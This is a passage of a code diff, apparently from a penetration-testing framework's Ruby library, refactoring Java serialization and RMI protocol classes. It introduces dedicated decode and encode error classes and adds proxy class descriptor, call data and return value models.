succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.class_name = Utf.decode(io, stream) self.serial_version = decode_serial_version(io) @@ -64,17 +64,16 @@ module Rex # Serializes the Rex::Java::Serialization::Model::ClassDescription # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless class_name.class == Rex::Java::Serialization::Model::Utf || class_annotation.class == Rex::Java::Serialization::Model::Annotation || super_class.class == Rex::Java::Serialization::Model::ClassDesc - raise ::RuntimeError, 'Filed to serialize NewClassDesc' + raise Rex::Java::Serialization::EncodeError, 'Filed to serialize NewClassDesc' end encoded = '' encoded << class_name.encode - encoded << [serial_version].pack('Q>') - stream.add_reference(self) unless stream.nil? + encoded << [serial_version].pack('q>') encoded << [flags].pack('C') encoded << [fields.length].pack('n') fields.each do |field| @@ -113,11 +112,11 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_serial_version(io) raw_serial = io.read(8) if raw_serial.nil? || raw_serial.length != 8 - raise ::RuntimeError, 'Failed to unserialize ClassDescription' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' end raw_serial.unpack('Q>')[0] @@ -127,10 +126,10 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization is possible - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_flags(io) raw_flags = io.read(1) - raise ::RuntimeError, 'Failed to unserialize ClassDescription' if raw_flags.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' if raw_flags.nil? raw_flags.unpack('C')[0] end @@ -139,11 +138,11 @@ module Rex # # @param io [IO] the io to read from # @return [Integer] if deserialization is possible - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_fields_length(io) fields_length = io.read(2) if fields_length.nil? || fields_length.length != 2 - raise ::RuntimeError, 'Failed to unserialize ClassDescription' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ClassDescription' end fields_length.unpack('n')[0] diff --git a/lib/rex/java/serialization/model/new_enum.rb b/lib/rex/java/serialization/model/new_enum.rb index c4ec80fd3a..89c700c7a7 100644 --- a/lib/rex/java/serialization/model/new_enum.rb +++ b/lib/rex/java/serialization/model/new_enum.rb @@ -27,7 +27,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.enum_description = ClassDesc.decode(io, stream) stream.add_reference(self) unless stream.nil? @@ -39,11 +39,11 @@ module Rex # Serializes the Rex::Java::Serialization::Model::NewEnum # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless enum_description.kind_of?(ClassDesc) && constant_name.kind_of?(Utf) - raise ::RuntimeError, 'Failed to serialize EnumDescription' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize EnumDescription' end encoded = '' @@ -65,10 +65,10 @@ module Rex # # @param io [IO] the io to read from # @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succed def decode_constant_name(io) content = decode_content(io, stream) - raise ::RuntimeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) content end diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb index cbd6f79761..9b84548cb2 100644 --- a/lib/rex/java/serialization/model/new_object.rb +++ b/lib/rex/java/serialization/model/new_object.rb @@ -27,7 +27,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.class_desc = ClassDesc.decode(io, stream) stream.add_reference(self) unless stream.nil? @@ -46,10 +46,10 @@ module Rex # Serializes the Rex::Java::Serialization::Model::NewObject # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode unless class_desc.kind_of?(ClassDesc) - raise ::RuntimeError, 'Failed to serialize NewObject' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize NewObject' end encoded = '' @@ -74,6 +74,8 @@ module Rex case class_desc.description when NewClassDesc str << class_desc.description.class_name.to_s + when ProxyClassDesc + str << class_desc.description.interfaces.collect { |iface| iface.contents }.join(',') when Reference str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16) end @@ -91,7 +93,7 @@ module Rex # @param io [IO] the io to read from # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted # @return [Array] class_data values if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_class_data(io, my_class_desc) values = [] @@ -114,7 +116,7 @@ module Rex # @param io [IO] the io to read from # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted # @return [Array] class_data values if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_class_fields(io, my_class_desc) values = [] @@ -135,57 +137,57 @@ module Rex # @param io [IO] the io to read from # @param type [String] the type of the value to deserialize # @return [Array(String, )] type and value if deserialization succeeds - # @raise [RuntimeError] if deserialization fails + # @raise [Rex::Java::Serialization::DecodeError] if deserialization fails def decode_value(io, type) value = [] case type when 'byte' value_raw = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? value.push('byte', value_raw.unpack('c')[0]) when 'char' value_raw = io.read(2) unless value_raw && value_raw.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('char', value_raw.unpack('s>')[0]) when 'double' value_raw = io.read(8) unless value_raw && value_raw.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('double', value = value_raw.unpack('G')[0]) when 'float' value_raw = io.read(4) unless value_raw && value_raw.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('float', value_raw.unpack('g')[0]) when 'int' value_raw = io.read(4) unless value_raw && value_raw.length == 4 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('int', value_raw.unpack('l>')[0]) when 'long' value_raw = io.read(8) unless value_raw && value_raw.length == 8 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('long', value_raw.unpack('q>')[0]) when 'short' value_raw = io.read(2) unless value_raw && value_raw.length == 2 - raise ::RuntimeError, 'Failed to deserialize NewArray value' + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' end value.push('short', value_raw.unpack('s>')[0]) when 'boolean' value_raw = io.read(1) - raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil? + raise Rex::Java::Serialization::DecodeError, 'Failed to deserialize NewArray value' if value_raw.nil? value.push('boolean', value_raw.unpack('c')[0]) else - raise ::RuntimeError, 'Unsupported NewArray type' + raise Rex::Java::Serialization::DecodeError, 'Unsupported NewArray type' end value @@ -195,7 +197,7 @@ module Rex # # @param value [Array] the type and value to serialize # @return [String] the serialized value - # @raise [RuntimeError] if serialization fails + # @raise [Rex::Java::Serialization::EncodeError] if serialization fails def encode_value(value) res = '' @@ -217,7 +219,7 @@ module Rex when 'boolean' res = [value[1]].pack('c') else - raise ::RuntimeError, 'Unsupported NewArray type' + raise Rex::Java::Serialization::EncodeError, 'Unsupported NewArray type' end res diff --git a/lib/rex/java/serialization/model/proxy_class_desc.rb b/lib/rex/java/serialization/model/proxy_class_desc.rb new file mode 100644 index 0000000000..61ad5de9b4 --- /dev/null +++ b/lib/rex/java/serialization/model/proxy_class_desc.rb @@ -0,0 +1,109 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a ProxyClassDesc representation + class ProxyClassDesc < Element + + include Rex::Java::Serialization + + # @!attribute interfaces + # @return [Array] An array of interface names + attr_accessor :interfaces + # @!attribute class_annotation + # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations + attr_accessor :class_annotation + # @!attribute super_class + # @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description + attr_accessor :super_class + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.interfaces = [] + self.class_annotation = nil + self.super_class = nil + end + + # Deserializes a Rex::Java::Serialization::Model::ProxyClassDesc + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed + def decode(io) + stream.add_reference(self) unless stream.nil? + + interfaces_length = decode_interfaces_length(io) + interfaces_length.times do + interface = Utf.decode(io, stream) + self.interfaces << interface + end + self.class_annotation = Annotation.decode(io, stream) + self.super_class = ClassDesc.decode(io, stream) + + self + end + + # Serializes the Rex::Java::Serialization::Model::ProxyClassDesc + # + # @return [String] if serialization succeeds + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed + def encode + unless class_annotation.class == Rex::Java::Serialization::Model::Annotation || + super_class.class == Rex::Java::Serialization::Model::ClassDesc + raise Rex::Java::Serialization::EncodeError, 'Filed to serialize ProxyClassDesc' + end + encoded = '' + encoded << [interfaces.length].pack('N') + interfaces.each do |interface| + encoded << interface.encode + end + encoded << class_annotation.encode + encoded << super_class.encode + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = '[ ' + interfaces_str = [] + interfaces.each do |interface| + interfaces_str << interface.to_s + end + str << "#{interfaces_str.join(', ')} ]" + + case super_class.description + when NewClassDesc + str << ", @super_class: #{super_class.description.class_name.to_s}" + when Reference + str << ", @super_class: #{super_class.description.to_s}" + end + + str + end + + private + + # Deserializes the number of interface names + # + # @param io [IO] the io to read from + # @return [Fixnum] if deserialization is possible + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed + def decode_interfaces_length(io) + fields_length = io.read(4) + if fields_length.nil? || fields_length.length != 4 + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize ProxyClassDesc' + end + + fields_length.unpack('N')[0] + end + end + end + end + end +end diff --git a/lib/rex/java/serialization/model/reference.rb b/lib/rex/java/serialization/model/reference.rb index 71c7765dae..3e8b27ca2f 100644 --- a/lib/rex/java/serialization/model/reference.rb +++ b/lib/rex/java/serialization/model/reference.rb @@ -21,11 +21,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) handle_raw = io.read(4) unless handle_raw && handle_raw.length == 4 - raise ::RuntimeError, 'Failed to unserialize Reference' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Reference' end self.handle = handle_raw.unpack('N')[0] @@ -36,10 +36,10 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Reference # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode if handle < BASE_WIRE_HANDLE - raise ::RuntimeError, 'Failed to serialize Reference' + raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Reference' end encoded = '' diff --git a/lib/rex/java/serialization/model/stream.rb b/lib/rex/java/serialization/model/stream.rb index 36e32e548c..d01edd2bb2 100644 --- a/lib/rex/java/serialization/model/stream.rb +++ b/lib/rex/java/serialization/model/stream.rb @@ -34,7 +34,7 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) self.magic = decode_magic(io) self.version = decode_version(io) @@ -50,7 +50,7 @@ module Rex # Serializes the Rex::Java::Serialization::Model::Stream # # @return [String] if serialization succeeds - # @raise [RuntimeError] if serialization doesn't succeed + # @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed def encode encoded = '' encoded << [magic].pack('n') @@ -63,7 +63,7 @@ module Rex # Adds an element to the references array # - # @param io [Rex::Java::Serialization::Model::Element] the object to save as reference dst + # @param ref [Rex::Java::Serialization::Model::Element] the object to save as reference dst def add_reference(ref) self.references.push(ref) end @@ -92,12 +92,12 @@ module Rex # # @param io [IO] the io to read from # @return [String] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_magic(io) magic = io.read(2) unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC - raise ::RuntimeError, 'Failed to unserialize Stream' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' end STREAM_MAGIC @@ -107,11 +107,11 @@ module Rex # # @param io [IO] the io to read from # @return [Fixnum] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode_version(io) version = io.read(2) unless version && version.unpack('n')[0] == STREAM_VERSION - raise ::RuntimeError, 'Failed to unserialize Stream' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Stream' end STREAM_VERSION diff --git a/lib/rex/java/serialization/model/utf.rb b/lib/rex/java/serialization/model/utf.rb index 7ec45f8684..72a58dc139 100644 --- a/lib/rex/java/serialization/model/utf.rb +++ b/lib/rex/java/serialization/model/utf.rb @@ -26,11 +26,11 @@ module Rex # # @param io [IO] the io to read from # @return [self] if deserialization succeeds - # @raise [RuntimeError] if deserialization doesn't succeed + # @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed def decode(io) raw_length = io.read(2) if raw_length.nil? || raw_length.length != 2 - raise ::RuntimeError, 'Failed to unserialize Utf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' end self.length = raw_length.unpack('n')[0] @@ -39,7 +39,7 @@ module Rex else self.contents = io.read(length) if contents.nil? || contents.length != length - raise ::RuntimeError, 'Failed to unserialize Utf' + raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize Utf' end end diff --git a/lib/rex/proto/rmi.rb b/lib/rex/proto/rmi.rb index 74505c57f2..465faaff11 100644 --- a/lib/rex/proto/rmi.rb +++ b/lib/rex/proto/rmi.rb @@ -3,5 +3,7 @@ # JAVA RMI Wire protocol implementation # http://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmi-protocol.html +require 'rex/proto/rmi/exception' +require 'rex/proto/rmi/decode_error' require 'rex/proto/rmi/model' diff --git a/lib/rex/proto/rmi/decode_error.rb b/lib/rex/proto/rmi/decode_error.rb new file mode 100644 index 0000000000..9308ea9765 --- /dev/null +++ b/lib/rex/proto/rmi/decode_error.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + class DecodeError < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/rmi/exception.rb b/lib/rex/proto/rmi/exception.rb new file mode 100644 index 0000000000..e56d52711f --- /dev/null +++ b/lib/rex/proto/rmi/exception.rb @@ -0,0 +1,10 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + class Exception < ::RuntimeError + end + end + end +end diff --git a/lib/rex/proto/rmi/model.rb b/lib/rex/proto/rmi/model.rb index 3166506d87..4e48f1af44 100644 --- a/lib/rex/proto/rmi/model.rb +++ b/lib/rex/proto/rmi/model.rb @@ -15,6 +15,8 @@ module Rex PROTOCOL_NOT_SUPPORTED = 0x4f RETURN_DATA = 0x51 PING_ACK = 0x53 + RETURN_VALUE = 1 + RETURN_EXCEPTION = 2 end end end @@ -24,7 +26,10 @@ require 'rex/proto/rmi/model/element' require 'rex/proto/rmi/model/output_header' require 'rex/proto/rmi/model/protocol_ack' require 'rex/proto/rmi/model/continuation' +require 'rex/proto/rmi/model/unique_identifier' +require 'rex/proto/rmi/model/call_data' require 'rex/proto/rmi/model/call' +require 'rex/proto/rmi/model/return_value' require 'rex/proto/rmi/model/return_data' require 'rex/proto/rmi/model/dgc_ack' require 'rex/proto/rmi/model/ping' diff --git a/lib/rex/proto/rmi/model/call.rb b/lib/rex/proto/rmi/model/call.rb index 120ee8a8fe..f78dd74e8b 100644 --- a/lib/rex/proto/rmi/model/call.rb +++ b/lib/rex/proto/rmi/model/call.rb @@ -11,7 +11,7 @@ module Rex # @return [Fixnum] the message id attr_accessor :message_id # @!attribute call_data - # @return [Rex::Java::Serialization::Model::Stream] the serialized call data + # @return [Rex::Proto::Rmi::Model::CallData] the call data attr_accessor :call_data private @@ -20,11 +20,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode the message id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the message id def decode_message_id(io) message_id = read_byte(io) unless message_id == CALL_MESSAGE - raise ::RuntimeError, 'Failed to decode Call message id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Call message id' end message_id @@ -35,7 +35,7 @@ module Rex # @param io [IO] the IO to read from # @return [Rex::Java::Serialization::Model::Stream] def decode_call_data(io) - call_data = Rex::Java::Serialization::Model::Stream.decode(io) + call_data = Rex::Proto::Rmi::Model::CallData.decode(io) call_data end diff --git a/lib/rex/proto/rmi/model/call_data.rb b/lib/rex/proto/rmi/model/call_data.rb new file mode 100644 index 0000000000..a6e6aecab4 --- /dev/null +++ b/lib/rex/proto/rmi/model/call_data.rb @@ -0,0 +1,137 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return value + class CallData < Element + + # @!attribute object_number + # @return [Fixnum] Random to identify the object being called + attr_accessor :object_number + # @!attribute uid + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier for the target to call + attr_accessor :uid + # @!attribute operation + # @return [Fixnum] On JDK 1.1 stub protocol the operation index in the interface. On JDK 1.2 + # it is -1. + attr_accessor :operation + # @!attribute hash + # @return [Fixnum] On JDK 1.1 stub protocol the stub's interface hash. On JDK1.2 is a hash + # representing the method to call. + attr_accessor :hash + # @!attribute arguments + # @return [Array] the returned exception or value according to code + attr_accessor :arguments + + # Encodes the Rex::Proto::Rmi::Model::CallData into an String. + # + # @return [String] + def encode + stream = Rex::Java::Serialization::Model::Stream.new + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_object_number + encode_uid + encode_operation + encode_hash) + + stream.contents << block_data + stream.contents += arguments + + stream.encode + end + + # Decodes the Rex::Proto::Rmi::Model::CallData from the input. + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::CallData] + def decode(io) + stream = Rex::Java::Serialization::Model::Stream.decode(io) + + block_data = stream.contents[0] + block_data_io = StringIO.new(block_data.contents, 'rb') + + self.object_number = decode_object_number(block_data_io) + self.uid = decode_uid(block_data_io) + self.operation = decode_operation(block_data_io) + self.hash = decode_hash(block_data_io) + self.arguments = [] + + stream.contents[1..stream.contents.length - 1].each do |content| + self.arguments << content + end + + self + end + + private + + # Reads the object number from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_object_number(io) + object_number = read_long(io) + + object_number + end + + # Reads and deserializes the uid from the IO + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] + def decode_uid(io) + uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) + + uid + end + + # Reads the operation from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_operation(io) + operation = read_int(io) + + operation + end + + # Reads the hash from the IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + def decode_hash(io) + hash = read_long(io) + + hash + end + + # Encodes the code field + # + # @return [String] + def encode_object_number + [object_number].pack('q>') + end + + # Encodes the uid field + # + # @return [String] + def encode_uid + uid.encode + end + + # Encodes the operation field + # + # @return [String] + def encode_operation + [operation].pack('l>') + end + + # Encodes the hash field + # + # @return [String] + def encode_hash + [hash].pack('q>') + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/proto/rmi/model/dgc_ack.rb b/lib/rex/proto/rmi/model/dgc_ack.rb index ab1eee9889..1edcb81bfc 100644 --- a/lib/rex/proto/rmi/model/dgc_ack.rb +++ b/lib/rex/proto/rmi/model/dgc_ack.rb @@ -22,11 +22,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == DGC_ACK_MESSAGE - raise ::RuntimeError, 'Failed to decode DgcAck stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode DgcAck stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/element.rb b/lib/rex/proto/rmi/model/element.rb index 60a6bbf481..f9dbd3f78a 100644 --- a/lib/rex/proto/rmi/model/element.rb +++ b/lib/rex/proto/rmi/model/element.rb @@ -83,42 +83,57 @@ module Rex # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if the byte can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the byte can't be read from io def read_byte(io) raw = io.read(1) - raise ::RuntimeError, 'Failed to read byte' unless raw + raise Rex::Proto::Rmi::DecodeError, 'Failed to read byte' unless raw - raw.unpack('C')[0] + raw.unpack('c')[0] end # Reads a two bytes short from an IO # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if the short can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the short can't be read from io def read_short(io) raw = io.read(2) unless raw && raw.length == 2 - raise ::RuntimeError, 'Failed to read short' + raise Rex::Proto::Rmi::DecodeError, 'Failed to read short' end - raw.unpack('n')[0] + raw.unpack('s>')[0] end # Reads a four bytes int from an IO # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if the int can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the int can't be read from io def read_int(io) raw = io.read(4) unless raw && raw.length == 4 - raise ::RuntimeError, 'Failed to read short' + raise Rex::Proto::Rmi::DecodeError, 'Failed to read int' end - raw.unpack('N')[0] + raw.unpack('l>')[0] + end + + # Reads a 8 bytes long from an IO + # + # @param io [IO] the IO to read from + # @return [Fixnum] + # @raise [Rex::Proto::Rmi::DecodeError] if the long can't be read from io + def read_long(io) + raw = io.read(8) + + unless raw && raw.length == 8 + raise Rex::Proto::Rmi::DecodeError, 'Failed to read long' + end + + raw.unpack('q>')[0] end # Reads an string from an IO @@ -126,12 +141,12 @@ module Rex # @param io [IO] the IO to read from # @param length [Fixnum] the string length # @return [String] - # @raise [RuntimeError] if the string can't be read from io + # @raise [Rex::Proto::Rmi::DecodeError] if the string can't be read from io def read_string(io, length) raw = io.read(length) unless raw && raw.length == length - raise ::RuntimeError, 'Failed to read string' + raise Rex::Proto::Rmi::DecodeError, 'Failed to read string' end raw diff --git a/lib/rex/proto/rmi/model/output_header.rb b/lib/rex/proto/rmi/model/output_header.rb index dae28e89b6..4e430ec977 100644 --- a/lib/rex/proto/rmi/model/output_header.rb +++ b/lib/rex/proto/rmi/model/output_header.rb @@ -23,11 +23,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode signature + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode signature def decode_signature(io) signature = read_string(io, 4) unless signature == SIGNATURE - raise ::RuntimeError, 'Failed to decode OutputHeader signature' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader signature' end signature @@ -47,13 +47,13 @@ module Rex # # @param io [IO] the IO to read from # @return [Fixnum] - # @raise [RuntimeError] if fails to decode the protocol + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the protocol def decode_protocol(io) valid_protocols = [STREAM_PROTOCOL, SINGLE_OP_PROTOCOL, MULTIPLEX_PROTOCOL] protocol = read_byte(io) unless valid_protocols.include?(protocol) - raise ::RuntimeError, 'Failed to decode OutputHeader protocol' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode OutputHeader protocol' end protocol diff --git a/lib/rex/proto/rmi/model/ping.rb b/lib/rex/proto/rmi/model/ping.rb index c0406b3ae2..860cc99748 100644 --- a/lib/rex/proto/rmi/model/ping.rb +++ b/lib/rex/proto/rmi/model/ping.rb @@ -18,11 +18,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == PING_MESSAGE - raise ::RuntimeError, 'Failed to decode Ping stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode Ping stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/ping_ack.rb b/lib/rex/proto/rmi/model/ping_ack.rb index db0131b42a..5beb3c1215 100644 --- a/lib/rex/proto/rmi/model/ping_ack.rb +++ b/lib/rex/proto/rmi/model/ping_ack.rb @@ -18,11 +18,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == PING_ACK - raise ::RuntimeError, 'Failed to decode PingAck stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode PingAck stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/protocol_ack.rb b/lib/rex/proto/rmi/model/protocol_ack.rb index 52a48506be..888da6c4c0 100644 --- a/lib/rex/proto/rmi/model/protocol_ack.rb +++ b/lib/rex/proto/rmi/model/protocol_ack.rb @@ -26,11 +26,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == PROTOCOL_ACK - raise ::RuntimeError, 'Failed to decode ProtocolAck stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ProtocolAck stream id' end stream_id diff --git a/lib/rex/proto/rmi/model/return_data.rb b/lib/rex/proto/rmi/model/return_data.rb index fe99d23a6e..8ac40c3290 100644 --- a/lib/rex/proto/rmi/model/return_data.rb +++ b/lib/rex/proto/rmi/model/return_data.rb @@ -11,7 +11,7 @@ module Rex # @return [Fixnum] the stream id attr_accessor :stream_id # @!attribute return value - # @return [Rex::Java::Serialization::Model::Stream] the serialized return data + # @return [Rex::Proto::Rmi::Model::ReturnValue] the return value attr_accessor :return_value private @@ -20,11 +20,11 @@ module Rex # # @param io [IO] the IO to read from # @return [String] - # @raise [RuntimeError] if fails to decode the stream id + # @raise [Rex::Proto::Rmi::DecodeError] if fails to decode the stream id def decode_stream_id(io) stream_id = read_byte(io) unless stream_id == RETURN_DATA - raise ::RuntimeError, 'Failed to decode ReturnData stream id' + raise Rex::Proto::Rmi::DecodeError, 'Failed to decode ReturnData stream id' end stream_id @@ -33,9 +33,9 @@ module Rex # Reads and deserializes the return value from the IO # # @param io [IO] the IO to read from - # @return [Rex::Java::Serialization::Model::Stream] + # @return [Rex::Proto::Rmi::Model::ReturnValue] def decode_return_value(io) - return_value = Rex::Java::Serialization::Model::Stream.decode(io) + return_value = Rex::Proto::Rmi::Model::ReturnValue.decode(io) return_value end diff --git a/lib/rex/proto/rmi/model/return_value.rb b/lib/rex/proto/rmi/model/return_value.rb new file mode 100644 index 0000000000..984df31267 --- /dev/null +++ b/lib/rex/proto/rmi/model/return_value.rb @@ -0,0 +1,124 @@ +# -*- coding: binary -*- + +module Rex + module Proto + module Rmi + module Model + # This class provides a representation of an RMI return value + class ReturnValue < Element + + # @!attribute code + # @return [Fixnum] the return code + attr_accessor :code + # @!attribute uid + # @return [Rex::Proto::Rmi::Model::UniqueIdentifier] unique identifier of the returned value + attr_accessor :uid + # @!attribute value + # @return [Array] the returned exception or value according to code + attr_accessor :value + + # Encodes the Rex::Proto::Rmi::Model::ReturnValue into an String. + # + # @return [String] + def encode + stream = Rex::Java::Serialization::Model::Stream.new + block_data = Rex::Java::Serialization::Model::BlockData.new(nil, encode_code + encode_uid) + + stream.contents << block_data + value.each do |v| + stream.contents << v + end + + stream.encode + end + + # Decodes the Rex::Proto::Rmi::Model::ReturnValue from the input. + # + # @param io [IO] the IO to read from + # @return [Rex::Proto::Rmi::Model::ReturnValue] + def decode(io) + stream = Rex::Java::Serialization::Model::Stream.decode(io) + + block_data = stream.contents[0] + block_data_io = StringIO.new(block_data.contents, 'rb') + + self.code = decode_code(block_data_io) + self.uid = decode_uid(block_data_io) + self.value = [] + + stream.contents[1..stream.contents.length - 1].each do |content| + self.value << content + end + + self + end + + # Answers if the ReturnValue is an exception + # + # @return [Boolean] + def is_exception? + code == RETURN_EXCEPTION + end + + # The 